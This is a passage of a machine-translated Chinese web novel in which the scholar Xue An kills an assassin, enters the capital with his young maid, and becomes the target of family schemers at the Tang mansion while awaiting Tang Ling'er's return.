    "How is it possible!" Lu Jiamu couldn''t believe his eyes.


    Although it was just a casual palm, he didn''t use all his strength.


    But this scholar actually broke open just by blowing a breath?


    Fang Tiancheng and this young man were even more surprised.


    At the same time, Lu Jiamu''s complexion changed, and then he said in a gloomy tone: "Boy, I didn''t expect that I read you wrong, you are still a master, but I advise you, you''d better not go this muddy water, otherwise ...."


    Xue An shook his head, "I didn''t want to wade in the muddy water, I just want to eat bowl of noodles!"


    "Looking for death!" Lu Jiamu thought that Xue An was teasing himself, and couldn''t help furious. After a vertical step, the figure appeared in front of Xue An like a ghost, and then took a picture.


    The sound of wind and thunder was so loud that even the whole tea shed was trembling slightly.


    The boy exclaimed, "Be careful!"


    Xue An blinked and smiled at him, "Thank you, but don''t be careful when dealing with him!"


    With that, Xue An picked up the chopsticks on the table, and grabbed Lu Jiamu''s hand full of anger.


    Lu Jiamu felt a strong attack, and his palm was actually stopped.


    Looking at Xue An again, he just took his time to raise his chopsticks with one hand, holding his hand.


    This scene caused Fang Tiancheng to take a breath.


    Because this is not to say that you can palm with your palm, but the strength of your wrist alone trapped the famous Benlei palm Lu Jiamu.


    This shows that there is a huge gap in strength between the two, otherwise such a crushing trend will not form.


    But the boy applauded at this moment fun! Fun! It turns out that you are so amazing! "


    At this time, Lu Jiamu''s face had become blue-purple, making him want to suppress it with all his strength.


    But Xue An didn''t have any expression, just sighed.


    "I used to look at something that can kill, but now I have to do it myself! When I go out, I must first kill the sealed person!"


    Lu Jiamu didn''t understand what he said, but he didn''t need to understand it.


    Seeing Xue An suddenly shook it.


    The chopsticks snapped his palm directly.


    Under the splash of blood, the palm of his hand fell on the table.


    Lu Jiamu let out a scream, a look of horror appeared in his eyes, and then turned to run.


    He also understood that he had a hard time today.

 Chapter 907： 1 master, 1 servant, 1 donkey cart, enter the capital

    But he just turned around.


    Xue An waved his hand, and the chopsticks in his hand turned into two black lights, which penetrated directly into Lu Jiamu''s back. The momentum was so great that he even took Lu Jiamu up and nailed it to the tea shed. On a big tree.


    There was a muffled sound.


    There was a violent shaking of the big tree as thick as two people hugged.


    At the other end of the trunk, there are two wooden chopsticks showing half of it.


    It can be seen how powerful Xue An''s casual blow is.


    Fang Tiancheng watched this scene with a chill in his heart.


    Because only he knew how powerful Xue An''s blow was.


    But the young man was not scared at all. Instead, he looked at Xue An with great interest, and then he folded his hands and smiled, "Thank you, my son, my name is Yan Xi! Dare to ask my son?"


    Xue An looked at the white-clothed boy with a smile, "My name is Xue An!"


    "Master Xue is going to Beijing to take the exam?" Yan Xi asked with a smile.


    Xue An hadn''t spoken yet, Chan''er couldn''t help it anymore, she saw her proudly saying: "Yes, and this year''s champion is my young master!"


    "Oh?" Yan Xi''s eyes lit up, "So, Young Master Xue is really a talented person with both civil and military skills!"


    Xue An smiled faintly and ignored what he said, but Chong Chan''er said, "Are you full?"


    "Master, eat full!"


    "Okay! Let''s go!"


    With that, Xue An got up and left.


    "Xue Gongzi, the two of us are also going to the capital, why don''t we go all the way?" Yan Xi said hurriedly.


    Xue An glanced at him, then pointed to the donkey cart tied to the side of the road, and said with a smile, "I''m sitting on this, you ride a horse, how do you go together?"


    "Uh, this..."


    Xue An said indifferently: "And with so many corpses, Master Yan must tidy up!"


    Yan Xi just wanted to say something, but he wanted to say something and stopped, then after a little thought, she pulled a flawless piece of beautiful jade from her waist.


    "Since I can''t travel with you, I will give you this jade pendant as a thank you for your life-saving grace!"


    Xue An looked at Yan Xi, nodded after a while, and then took Yu Pei, "Alright!"


    He turned around and got into the donkey cart and was about to leave.


    Yan Xi suddenly remembered something and shouted: "Master Xue, where did you live in the capital? I will find you then!"


    Xue An drew on the curtain and smiled, "I don''t know where I live, to be honest!"


    Yan Xi was taken aback, and Chan''er was already driving along with his long whip.


    Yan Xi hurriedly shouted: "Master Xue, since you don''t know where to live, you can come to me! I live in Tiansheng Long Street!"


    no respond.


    The little donkey walked along, carrying the master and servant toward the capital.


    Yan Xi stood by the side of the road quietly looking at the distant back.


    Fang Tiancheng walked over and said with a bit of embarrassment: "My son! That is the jade pendant from above!"


    "It''s just a piece of jade pendant. If you can meet a master through this jade pendant, it can be considered a good deal!"


    "My son, you seem to value this man very much!"


    Yan Xi didn''t turn her head back, she just said indifferently: "I don''t know how to ignore it. With this kind of force, he is not an easy one, but the strange thing is...Why have you never heard this name?"


    At this moment, from the official road, a horse team galloped forward, waiting not far from the tea shed.


    These armored soldiers rolled over and dismounted.


    "His Royal Highness! I''m really **** late waiting for the rescue!" the leader of the guard said in fear.


    Yan Xi''s face sank like water, "Forget it, it''s not to blame you, I want to go ahead with Manager Fang, and clean up these corpses!"


    "Yes!"


    As soon as the guard leader saw the blood flowing at the scene, the corpses were everywhere, and he couldn''t help taking a breath.


    Fortunately, there was nothing wrong with your Highness, otherwise he wouldn''t have enough heads to cut.


    Soon, the corpse in the tea shed was buried deeply.


    Only Lu Jiamu''s body, nailed to the tree, has not moved.


    A guard stepped forward, reaching out to pull him from the tree.


    But as soon as the hand touched it, I heard the big tree make an overwhelming click, and then the whole tree trunk shattered and turned into scum on the ground.


    The corpse of Lu Jiamu, the thousand-faced snake, was completely shattered by this pair of chopsticks, and he could only limp to the ground.


    See this scene.


    The complexions of Yan Xi and Fang Tiancheng all changed.


    Especially Fang Tiancheng, even though he had raised Xue An''s strength as much as possible, he still didn''t expect him to be so powerful.


    He threw out a pair of chopsticks, not only killed the famous Thousand-faced Snake, but also completely shattered a whole tree.


    How strong is this?


    Yan Xi''s eyes flickered, and then she looked towards the capital, with a faint smile on her face.


    He always felt that the originally peaceful capital would soon become more exciting because of the arrival of Master Xue.


    And what is the origin of you...?


    This world capital is known as Tiansheng Kyoto, and it is the most prosperous capital in the entire continent.


    This can be seen from the busy official roads as you go to the capital.


    And because Chunwei is approaching, more than half of the people going to the capital are scholars who are preparing to take the exam.


    Those poor scholars traveling on the road, the luxurious son riding a horse, the voices of those who are on the road are almost endless.


    Among them, Xue An''s donkey cart is quite conspicuous.


    Not because of the donkey cart, but because of the driver.


    Although Chan''er''s coarse cloth clothes could not hide her beauty in the slightest.


    Moreover, Chan''er is only thirteen or fourteen years old, and her little face without cosmetic powder is still a little fat, which gives her beauty a hint of natural childishness.


    Such a little maid is what many scholars dream of.


    Imagine, in the quiet study room at night, there is such a little maid to add fragrance to your red sleeves, what a joy in life?


    Therefore, Chan''er got the most attention this way.


    At the same time, many scholars are curious about the people in the donkey cart.


    To have such a charming little maid, what kind of style does this master have to be?


    With many eyes of envy and doubt This little donkey cart walked into this silent and standing ancient capital at dusk when the sun was melting gold.


    The entry of one person, one servant and one donkey cart did not cause any waves.


    It was faint, but there was a storm accompanied by the donkey cart.


    "Master, where are we going?" Chan''er asked.


    Xue An, who was sitting in the car, was now looking at the letterhead that exuded a faint fragrance in his hand, and in the letterhead, there was still a bright red silver ticket.


    But even in a desperate situation, the original Xue An had never used this bank note.


    Xue An looked at the beautiful handwriting on the letterhead, and said nothing.


    When he heard Chan''er''s question, he smiled slightly, "Go to Qin''s house first!"


    Chan''er was startled slightly, and then nodded happily and said, "Good young master!"


    After speaking, he drove to the address written on the letterhead.

 Chapter 908： Tensei Kyoto first entry Karafu

    This Tiansheng Kyoto occupies a very large area, but it has a neat pattern.


    Eleven main roads from north to south and 14 streets from east to west are criss-crossed, dividing the city into 110 squares.


    But two of them are forbidden gardens, so the folks only call it 108 squares.


    After walking along the main street of Zhuque into the city, the donkey cart turned to the right and entered the boundary of East 55th Square.


    The entire city is arranged according to the pattern of the north, the south, the rich, the west, and the poor, so this East Fifty-Five Square is also the most prosperous place in the entire Tiansheng Kyoto.


    The Tang family (I think it��s a bit wrong to call the Qin family, because there is a Qin family in Beijiang, so I changed it to the Tang family!), lives in Yiyang Fang in East 55th Square, a distance from the famous Changle Square and The wealthy East City is just across the street.


    When Chan''er drove the donkey cart and turned into Yiyangfang not far, you could see a big house on the left hand side of the street.


    Above the gate of the palace, there is a plaque with two characters on it.


    Tang Mansion.


    This house is even larger than the Chen Family Mansion seen in the small town.


    And being able to occupy such a large house in such a land with an inch of gold also shows the strength of the Tang family today.


    At least Chan''er was afraid first.


    "Young... Young Master, is this Sister Tang''s house? How could it be so big?" Chan''er said with a little shyness.


    Xue An smiled and scratched her nose, "Who was muttering in my ears to come to Tang''s house all day before coming? But when I arrived, I was scared?"


    Chan''er smiled a little embarrassed, "Master, I just think this house is a bit too big! I''m not afraid!"


    "Big?" Xue An glanced at the house with a smile.


    In front of him, there is no building worthy of a big character.


    "Go, go in with the young master!"


    With that said, Xue An got out of the car and led Chan''er to Tang Mansion in strides.


    "Hey, what are you doing?" the guardian asked.


    In fact, this group of men and men have already noticed the donkey cart in front of the door. It can be the rich and wealthy of the Tang family, but they are all dignitaries riding tall horses.


    A donkey cart in a mere trivial area, this group of men naturally didn''t look at it.


    And when Xue An came down, these families with rich eyes were even more disdainful.


    Because at this time Xue An was wearing a semi-new and not old man''s shirt, the little maid behind him was pretty, but also dressed plainly.


    Such a combination of students, so the attitude of this group of men is even more negligent.


    Chan''er was stunned for a while, and then looked at these gorgeously dressed and arrogant family members, she couldn''t help being a little lacking in confidence, and sneaked down the corner of Xue An''s clothes.


    Xue An didn''t even look at the group of men and women, but said indifferently: "Does Tang Ling''er live here?"


    This group of celebrities were all startled, and then a triangular-eyed celebrity looked at Xue An up and down, and sneered: "Who are you? How dare you call my lady''s name?"


    "Me?" Xue An smiled, "My name is Xue An, I am your lady''s...friend!"


    Xue An?


    Hearing this name, the expressions of these gangsters all became a little weird.


    But the attitude is much better.


    "Oh, it turned out to be Master Xue! The young lady mentioned you at the beginning, and she specifically asked me to pay attention to it! But you did not happen to be here. My lady and the master were out on errands, and they were not in the house these past two days!"


    Xue An''s heart moved slightly.


    Not there?


    Then wait for her to come back.


    Thinking in his mind, Xue An turned around and left.


    At this moment, I heard a voice full of surprises.


    "Is it Brother Xue An?"


    Xue An heard the sound and looked at it.


    I saw a pretty handmaid dressed in splendid clothes and full of beaded jade rushing over excitedly. When she saw that it was indeed Xue An, tears of excitement rolled in her eyes.


    "Brother Xue An, you really!"


    Xue An frowned slightly, still not remembering who this girl was.


    Chan''er on the side already shouted in surprise, "Sister Qing''er!"


    Then he pounced on it.


    Two little maids of the same age hugged each other and cried and laughed, looking extremely affectionate.


    Then Chan''er said to Xue An excitedly: "Master, this is the little maid Qinger next to Miss Tang! When she was a neighbor, she often followed Miss Tang to come and play with us!"


    Xue An was a little surprised now, there was indeed such a little maid in the memory of this body.


    But because of the long lapse of time, the picture has become very blurred.


    Xue Anchong nodded slightly at Qing''er, "It turns out to be Girl Qing''er!"


    Hearing the distance in Xue An''s tone, the eyes of this little maid turned red again, and she floated fortune.


    "Brother Xue, I have been waiting for you for a few days! When the lady went out, she specially asked me to stay, just because she was afraid that you would come during this time! Sure enough, you finally arrived!"


    With that said, Qinger glared at the men.


    "This is a distinguished guest that the young lady has specially ordered, you minions dare to make things difficult?"


    The gang of dazzling men was very afraid of this little girl, and they all turned white when they heard this.


    "Don''t dare! We really don''t know that this is Gongzi Xue, so we will be slow!"


    "Huh! I''ll clean up you later!" Qing''er snorted, then turned her head and said with a smile.


    "Brother Xue, the lady made it clear when she left, if you come, you will not be allowed to go anyway, you must wait for her to come back here!"


    Xue An frowned slightly.


    The purpose of his coming here is not for the so-called surrender, but to make it clear to this Miss Tang in person.


    But I didn''t expect things to change, this Miss Tang was not in the house.


    I wanted to turn around and leave.


    Seeing the sincere face of this little maid and the hopeful gaze of Chan''er, Xue An slightly pondered.


    "Well, I''ll wait for her to come back here!"


    Qing''er smiled when she heard the words, "Well, Brother Xue, please come with me! The hostel has already been prepared for you!"


    With that, Qing''er took Chan''er''s hand, and the two little girls happily led the way, leading Xue An into the Tang Mansion.


    When they disappeared behind the door, the men looked at each other, and then began to whisper.


    "Tsk tusk, I didn''t expect that Young Master Xue, who made our young lady''s heart, is such a poor scholar!"


    "It looks good, but this is too shabby! How can it be worthy of our Tang family?"


    Amidst these discussions, a Jia Ding suddenly sneered: "I dare to rush here, this guy really doesn''t know how to write death words!"


    Everyone was taken aback.


    Then this Ding looked around the group of people and sneered: "You...have you forgotten Yao Dashao!"


    Hearing the three words Yao Dashao, all the family members shrank their necks and dared not gossip anymore.


    But these people''s hearts are full of gloat.


    Because they all felt that this matter could no longer be good.

 Chapter 909： Young Master Yao

    This is a very elegant and clean courtyard.


    It can be seen that there are people cleaning up every day.


    Qing''er smiled and said, "Brother Xue, this yard has been prepared for you a long time ago, but I don''t know when you will come, so I will let people come and clean it every day! Are you satisfied?"


    Xue An smiled, but did not speak.


    On the contrary, it was Chan''er, this little girl looked around with excitement, interested in everything.


    "Daily meals will be delivered to you by someone, and there are also many books stored in it for you to check at any time."


    Qinger was eagerly introducing, Xue An suddenly asked: "When will your lady come back?"


    Qing''er was slightly startled, "Well, I don''t know this too well. Anyway, this time the lady is going out with the master. It will take three to five days before she can come back! You know, my lady has no siblings, so many things are She has to come forward!"


    Speaking of this, Qing''er''s tone was a little sad.


    Xue An was noncommittal.


    But then, Qinger seemed to remember something, and said solemnly: "Brother Xue, I forgot to tell you something!"


    "Oh? What''s the matter?"


    "When you live here, you must be careful alone."


    "Be careful alone?"


    Qing''er nodded, a look of hatred appeared in her eyes, "An extremely annoying guy, his name is Yao Chaofeng, he is..."


    Before the words were over, there was a sour sneer from outside the courtyard.


    "Tsk tsk, I heard that a distinguished guest is here, I want to see what kind of distinguished guest it is, it can actually provoke Miss Qinger to come out in person!"


    In fact, this sound is not unpleasant, but I don''t know how it sounds, it sounds uncomfortable.


    And following the voice, a dark-faced man holding a folding fan walked in with three shakes.


    The man was plain, and his skin was dark, but his face was arrogant.


    A pair of slender eyes flashed with evil spirits.


    Almost just writing the words I am a bad person on my forehead.


    Seeing this man, Qing''er''s face was pale, but she still had to lower her head.


    "Saw Yao Shao!"


    It was the Yao Chaofeng that Qinger had just mentioned.


    He nodded slightly with an arrogant face, and then began to look at Xue An from one glance to the next.


    The more you look, the more disdain on his face.


    "You are Xue An?"


    Xue An nodded and said lightly: "That''s right."


    "Very good!" Yao Chaofeng''s eyes were full of coldness, "The surname is Xue, don''t think I don''t know what you are here to do! I tell you, the Tang family is not something people like you can afford! I That cousin Ling''er is not something you can get involved!"


    "Don''t think that you can just meet my cousin in the past! I advise you to die now, otherwise..."


    Yao Chaofeng sneered for a while, "I will let you, a countryman who has never seen the world, understand what is the style of the people in Kyoto!"


    These words changed the expressions of Qing''er and Chan''er.


    Especially Qing''er, her complexion suddenly became very gloomy, waiting to speak.


    Xue An laughed, "First of all, I want to explain one point. I came here without thinking about who to cling to! Secondly... I''m curious, what is meant by Kyoto people?"


    Yao Chaofeng''s face sank, his narrow eyes gleamed with a dangerous light, and then he said gloomily: "Boy, listening to you, it seems a little unconvinced!"


    Xue An shook his head, "I''m just curious, why would you show me it now?"


    "You..." Yao Chaofeng was furious, just waiting for an attack.


    Qing''er on the side couldn''t bear it, and couldn''t help but say in a cold voice: "Young Master Yao, Young Master Xue is the distinguished guest whom the young lady personally ordered to entertain. If you dare to do anything, wait for the young lady to come back, what will be the consequences, you can weigh yourself!


    Yao Chaofeng''s eyes flickered when he heard the words, and then took a cold look at Xue An, "Very well, then I will let you stay away for a few more days!"


    After that, Yao Chaofeng turned around and left.


    After he left.


    Qinger couldn''t help taking a breath, and then said with some worry: "Brother Xue, this guy is a mad dog, you must be careful of him!"


    Qinger was worried that Xue An would be frightened by Yao Chaofeng again.


    After all, in her impression, her own brother Xue is a scholar who has no power to restrain the chicken. Facing rascals like Yao Chaofeng, she will definitely be a little scared.


    But then she found that Xue An had an indifferent expression, without the slightest worry, and even said with a smile.


    "What about Yao Chaofeng, who are you?"


    Qinger always felt that the current Brother Xue was a little different from the one in the memory, but she still said.


    "Not long after my master moved to the capital, he took a concubine''s room. Then a few years later, his wife passed away due to illness, and the concubine''s concubine in Xinna became the master''s wife! And this Yao Chaofeng is the nephew of this new lady!"


    Speaking of this, Qing''er''s face was full of disgust.


    "I don''t know what kind of ecstasy this guy poured into the master, and he actually made the master take him seriously! That''s all, the point is that this guy is actually full of greed for the young lady!"


    "And it seems that the master is also somewhat supportive, so this Yao Chaofeng became more and more arrogant! If it weren''t for the young lady who has always been arrogant about him, he might be even more arrogant!


    After listening to Qing''er''s words, Xue An understood.


    No wonder I was so hostile to myself, because I wanted to have both human and financial resources.


    After Qing''er exhorted a few words, she ordered people to bring in all kinds of daily necessities, and stayed busy until dinner, and then left.


    Xue An and Chan''er were left in the small courtyard.


    Chan''er said with some dissatisfaction: "Master, that guy during the day is simply too nasty. He wants to occupy Sister Tang and threaten us!"


    Xue An smiled, turned his head and glanced at her, "Hey, why doesn''t Xiao Zoubao be counseled at this time?"


    "Oh, master, why don''t I find you worried at all? Didn''t you hear from Sister Qing''er? This surnamed Yao is definitely for Sister Tang! Don''t you want to think of a solution?"


    "Think of a way? Why should I think of a way?" Xue An said lightlyHuh? Don��t you worry at all? "Chan''er''s face was full of doubts.


    Xue An smiled, then looked up at the hazy moonlight, and said lightly: "Silly Chan''er, do you really think I''m here to propose marriage?"


    He spoke in a very small voice, and this Chan''er didn''t hear clearly.


    But she found that the way the young master looked up at the moonlight... very lonely.


    at the same time.


    In a very luxurious courtyard of the Tang family.


    Yao Chaofeng was drinking wine with a gloomy expression.


    Opposite him, there is a middle-aged beautiful woman with milfs.


    "Feng''er, according to you, this Xue An will be a big resistance for us?" the middle-aged beautiful woman asked.

 Chapter 910： Miss Tang

    Yao Chaofeng nodded, then put down the wine glass in his hand, "Today I tried to test this Xue An, and it turned out that he is neither humble nor arrogant nor irritable. He is indeed a difficult character!"


    If an outsider is present and hears Yao Chaofeng''s name, he will be shocked.


    Because this middle-aged beautiful woman is the concubine of Tang Shengna, the Tang elder, Yao Yu.


    Outside, Yao Chaofeng is the nephew of Yao Yu.


    But in fact, this Yao Chaofeng is her son.


    The reason for concealing the facts is that they are afraid of causing suspicion by others.


    After all, the mother and son hadn''t had any good intentions since they entered the Tang family, and they had just come to try to seize the family property.


    The two of them thought it would be a simple matter.


    As long as Tang Sheng is deceived, there is only one Tang Ling''er left.


    As a result, they didn''t expect that the seemingly weak and weak daughter was extremely intelligent, and quickly managed the Tang family''s property in an orderly manner.


    As a result, their plan was frustrated.


    But they didn''t give up and immediately changed their plans.


    This Yao Chaofeng began to pursue Tang Linger frantically.


    And his mother Yao Yu was blowing pillow breeze in front of Tang Sheng.


    Working together on both sides is thinking about getting people and money together.


    But when Tang Sheng had gradually accepted it, things started to turn around.


    Xue An suddenly appeared.


    This naturally made the mother and son jealous and resentful.


    "What are you going to do with Feng''er? Find someone to kill him?" At this point, Yao Yu showed a ruthless look on his face, obviously not an easy one.


    Yao Chaofeng shook his head, "No, I can''t do it now. After all, this Xue An was personally invited by Tang Linger. If she does it directly before she comes back, it will easily arouse her suspicion, and then it will be impossible to do it!"


    "Then Yifeng''er, you mean..."


    Yao Chaofeng sneered: "Tang Sheng will never agree to this marriage. Everything is nothing but a wishful thinking of Tang Linger. And I heard rumors that Xue An''s arrival was also because of Tang Linger''s invitation. So when they come back, as long as their mother The adults are helping the flames, Tang Sheng will be furious, and then..."


    "I don''t believe that Tang Linger dared to disobey his father''s orders!"


    "Very good! Just as Feng''er said! But you have to get Tang Ling''er early, otherwise there will be more and more changes!"


    "Mother, don''t worry, this matter...I have my own decision!" Yao Chaofeng looked like he was ready.


    In the next few days, Yao Chaofeng never appeared again.


    This made Qing''er''s mental arithmetic that had been hanging down all the time.


    She was afraid that Yao Chaofeng would be disadvantageous to Xue An while the young lady did not come back.


    So she will come several times every day.


    Xue An was noncommittal about this. He just ate and went to bed every day, and his life was very simple.


    Over time.


    The servants in the palace began to chew their tongues.


    "Tsk tusk, have you heard? The guy who was the old neighbor with our young lady came to our house, and he ate and slept every day. A meal can even eat for three or five people, with a bucket same!"


    "Hey, of course I heard, and I also heard that this guy is dressed in shabby clothes. I guess he didn''t even have enough to eat before, so after we got here, he ate like a hungry ghost!"


    "Just thinking about the imperial examination? Our lady wants to be blind too!"


    These cynicisms naturally reached Qing''er''s ears.


    Although she was very angry, she couldn''t control what the people below said.


    But Yao Chaofeng was full of joy after hearing this rumor.


    He thought Xue An was a strong enemy at first, but when he saw his appearance, he was relieved.


    It''s probably just a mess of eating and drinking.


    at the same time.


    In a caravan coming to the capital.


    Tang Linger was sitting in the carriage reviewing various accounts of the trader this time.


    Although only twenty-eight years old, Tang Ling''er is already a business veteran, and she has a keen grasp of business opportunities and a vicious vision, which even makes some veterans who have been struggling for decades to sigh.


    now.


    Tang Ling''er finally finished counting the accounts, then closed his eyes and began to think about the harvest this time.


    This is her habit. Every time she makes an inventory of her travel income, she finds out the shortcomings.


    This is why she can make such rapid progress.


    After thinking about it, it seemed that there was nothing to pay attention to. Tang Ling''er opened her eyes, and finally a touch of fatigue appeared on her stunning face.


    Then subconsciously took out a piece of letterhead.


    This letterhead is already a little shabby, and it is obviously often read by her.


    Although she could already remember the above words, she opened the album and read it word by word.


    What is written above is exactly the reply from Xue An to her.


    In words, the native Xue An, who had actually died long ago, wrote compliments in a nearly flattering tone, and tremblingly explained the latest situation one by one.


    It is as if a student is reporting to his teacher.


    Tang Ling''er was silent after watching for a long time.


    At this moment, her heart is a little sad.


    Because what she asked for was not the kind of emotion that ordinary girls expected.


    It is a strong man who can conquer himself from all aspects.


    This is also the reason why she is willing to show her face and fight the mall as a daughter.


    She likes the excitement of challenges.


    The reason why she took the initiative to write to Xue An, her childhood playmate, and invited him to Beijing.


    It was because she remembered when she was a child.


    Xue An at that time was far better than her in terms of talent and knowledge.


    So Tang Linger at that time admired Xue An extremely.


    This feeling did not dissipate with the relocation of the Tang family, but became stronger.


    Therefore, Tang Linger would write that letter later.


    Unexpectedly, Xue An''s reply left Tang Ling''er in her throat, feeling dazed.


    Is this man who is the only promise in the letter paper the same high spirited boy?


    Why do you feel so awkward?


    Tang Linger''s mind was full of thoughts.


    At this moment a woman on horseback knocked on the carriage, and then whispered: "Miss, there was news from home just now, that Young Master Xue has arrived in the capital and is staying in the mansion!"


    Tang Ling''er was taken aback, then nodded, and said lightly: "Got it!"


    "but����."


    "But what?"


    "But this Young Master Xue seems to be a little bit wrong. I heard rumors that after he entered the mansion, he stayed simple and went to bed every day when he was full, and he never did his homework!"


    There was a moment of silence in the carriage, and then Tang Linger said indifferently: "I know, how many days will you return to the capital?"


    "You can arrive the day after tomorrow!"


    "Speed ??up the journey and get home tomorrow!"


    "Yes!"

 Chapter 911： Let him see me in the study

    "Master and Miss are back!"


    When the convoy returning from a long distance stopped in front of the mansion gate, the entire Tang family was a sensation.


    Then, starting from the main gate, along a central axis, the courtyard of the eighteenth entrance, all the middle gates are opened one by one.


    Countless servants and servants stood on both sides, when the potbellied Patriarch Tang Sheng and the increasingly powerful young lady Tang Linger stepped into the house.


    These servants bend over together.


    "Welcome the master and young lady back safely!"


    These formations made Tang Sheng twist his beard with his hands full of vigor.


    Tang Ling''er didn''t show any expressions, but stood quietly behind her father without saying a word.


    The father and daughter went straight through the front courtyard and came to the boundary between the back house and the front courtyard.


    Tang Sheng''s current wife Yao Yu and Yao Chaofeng are all waiting here.


    After seeing Tang Sheng.


    Yao Yu was very happy, "Master!"


    Old Tang Sheng nodded and smiled, "Why do you have to be so polite between you and me? It''s windy here, what should I do if it breaks?"


    Yao Yu looked nostalgic for admiration, "Master, you have been out for many days, and it is my duty to welcome you here."


    "Okay! I didn''t hurt you for nothing!" Tang Sheng nodded very happily.


    At this time, Yao Chaofeng also came forward with a smile on his face, "Uncle!"


    That''s right.


    In normal times, this Yao Chaofeng always calls Tang Sheng his uncle.


    Faced with this extremely weird name, Tang Sheng was quite satisfied, "Chaofeng, how is your homework recently?"


    "If I go back to my uncle, I''ve been diligent in learning recently, and I''ve consciously improved!" Yao Chaofeng replied very well-behaved.


    Tang Sheng asked a few questions casually, and this Yao Chaofeng actually answered them all.


    Tang Sheng couldn''t help but shine, and praised: "It''s really good, and there is indeed some progress in your homework. It seems that you have worked hard during this time!"


    "Everything is because my uncle taught me well!" Yao Chaofeng didn''t forget to flatter Tang Sheng at this time.


    Tang Sheng ate this set very much, caressed his beard and smiled, just about to say something.


    The Yao Yu who has been smiling and standing up suddenly said: "Master, there is something I don''t know if it should be said or not!"


    "Oh? It''s all from your own family, what''s hard to say?"


    "It''s... about Ling''er!" Yao Yu said with a hint of embarrassment.


    "Ling''er?" Tang Sheng was taken aback for a moment, then turned to look at Tang Ling who was silent behind him, "What happened to Ling''er?"


    Yao Yu seemed to have plucked up all his courage and said embarrassingly: "Naturally, Ling''er is fine. It''s just that when you and Ling''er go out, a man comes and runs, and then he was arranged to leave Ling''er''s residence. The house is in a small courtyard separated by a wall!"


    "Of course, these things shouldn''t be left to me, but sir, now that Ling''er has a big sleeve length, these things always need to be avoided, otherwise if they are spread out, it will damage the reputation of our Tang family!"


    After listening to Yao Yu''s words, Tang Sheng''s expression changed drastically, "A man has come to defect? ??Who is it?"


    Tang Ling''er''s complexion at the moment also changed slightly.


    Yao Chaofeng said first: "Uncle, I wanted to tell you about this in private, but since my Aunt Yu has already said it, I will tell you! This one who came to defect is called Xue An!"


    Xue An!


    The name was like a shock to the sky, making Tang Sheng startled for a moment, and then a cold look appeared in his eyes.


    "Ling''er, is this true?" Tang Sheng turned around and asked his daughter.


    Tang Ling''er sighed inwardly, then nodded, "Father, Xue An has indeed come, and I invited it!"


    Tang Sheng''s complexion grew gloomy.


    Now the family affairs have been handed over to Tang Ling''er, he has rarely asked about it, so if it weren''t for Yao Yu to talk about it, he wouldn''t know about it.


    And if it''s someone else, it''s fine.


    It happened to be Xue An!


    Tang Sheng was deeply impressed with the son of the neighbor before his success.


    But it is not a good impression.


    In Tang Sheng''s view, this poorly born but ambitious young man was not a good match at all.


    Especially when the Tang family became rich overnight and entered the capital to become a wealthy family, the gap between the two was like cloud and mud.


    The most important thing is that Tang Sheng belongs to such a precious girl as Tang Linger.


    Tang Sheng was going to let her find a reliable door-to-door son-in-law, so as to inherit the Tang family''s ten thousand family business.


    For example, Yao Chaofeng is an object that can be observed and cultivated.


    However, Xue An is a single pass, and is still a scholar, surely he would not be willing to be a door-to-door son-in-law.


    In this case, all possibilities are blocked.


    So although Tang Sheng knew some of his daughter''s thoughts faintly, he never thought about it.


    But who would have thought that he would have to go to the door by himself.


    This Xue An actually came here, and he was invited by his daughter.


    This naturally made Tang Sheng furious.


    But for his precious daughter, Tang Sheng was really reluctant to be harsh, so he could only stomped his feet bitterly, and said coldly: "Tell Xue An to come to the study to see me!"


    After that, he turned and left angrily.


    After Tang Sheng left.


    Yao Yu said apologetically, "Ling''er, my aunt didn''t mean to make you ugly, but it''s about the reputation of my daughter''s family. It''s really sloppy. I''m also doing you good!


    Hearing Yao Yu''s words, Tang Ling''er didn''t say a word, but coldly glanced at Yao Yu and Yao Chaofeng, and then turned away.


    Yao Yu was a little bit unable to get off the stage, and could only stand there with embarrassment.


    I kept waiting for Tang Ling''er to walk away.


    She gritted her teeth full of resentment, "This Tang Ling''er, but never put my auntie in his eyes!"


    Yao Chaofeng stared at Tang Ling''er''s away back with bad eyesight.


    He always felt that the growth rate of this weak-looking girl was simply terrifying.


    Every time she comes back from going out, she will shock Yao Chaofeng.


    Especially when she was swept by her beautiful Danfeng eyes, her heart was even more frightened, as if all the secrets could be seen through her.


    "Feng''er, this little girl is not so foolish! You have to think about whether you can surrender!" Yao Yu said quietly at this time.


    Yao Chaofeng gave a cold snort Mother rest assured, I have my own way! "


    At this time, Tang Ling''er had already strode to the outside of the courtyard where Xue An lived.


    Qinger hurried to hear the news.


    "Miss!"


    Tang Ling''er nodded, "He... just lives in this?"


    Qinger nodded, "Miss, shall I tell you first?"


    Tang Ling''er shook his head, "No need!"


    With that, she stretched out her delicate hand and pushed the door directly in.


    There is no one in the courtyard.


    Thinking of those rumors, Tang Ling''er''s expression became colder.


    At this moment, Chan''er walked out the door carrying the tea cup. After seeing Tang Ling''er, she was startled first, and then said in surprise: "Sister Tang?"

 Chapter 912： Would you like to join my Tang family?

    Seeing Chan''er, the frost on Tang Ling''er''s face was temporarily melted.


    "It turned out to be Chan''er! Haven''t seen him in a few years, but he''s so amazing?"


    Chan''er walked over happily, and gave a deep salute, "I have seen Sister Tang!"


    Then he said enthusiastically: "Sister Tang, are you here to find my young master?"


    Tang Ling''er nodded slightly, "What is your young master doing now?"


    Chan''er scratched his scalp with embarrassment, "I''m... sleeping!"


    "Sleep?" Tang Ling''er looked up at the sky.


    Right now, just after lunch, it''s still early to get dark, so you are sleeping now?


    It seems that those rumors are true!


    Tang Ling''er was unhappy in her heart, but she didn''t show it on her face, she just said indifferently: "Then Chan''er can Master Xue scream? I have something to tell him!"


    "Good drops, good drops! If my young master knew that Miss Tang was back, he would be happy!"


    With that said, Chan''er was about to run into the house.


    At this moment, I heard a long yawn in the room.


    "Whoever sleeps the big dream first, I know in my life. Thatched cottage spring sleeps enough, the day is late outside the window! Good sleep and sleep!"


    With that, Xue An slowly walked out of her house, his face seemed to be awake, and then smiled slightly at everyone.


    Tang Ling''er felt as if her whole person had been severely hit, and even her heartbeat stopped beating for a while.


    Because when this young man standing on the steps, standing on the steps and standing tall, in white clothes Shengxue laughed, his eyes were shining like stars, like a fallen **** in the world, which made people afraid to look directly.


    Is it...is it him?


    However, it seems to be quite different from the figure that has been gradually blurred in memory, but I can''t tell where it has changed.


    Just as Tang Linger was stunned.


    Chan''er already shouted excitedly: "Master, Sister Tang is back!"


    At this moment, Xue An is also looking at the girl who made her former body dream.


    I saw that she was wearing a light blue shirt, revealing a hint of competence in her simplicity and elegance.


    The face can be called the color of the country.


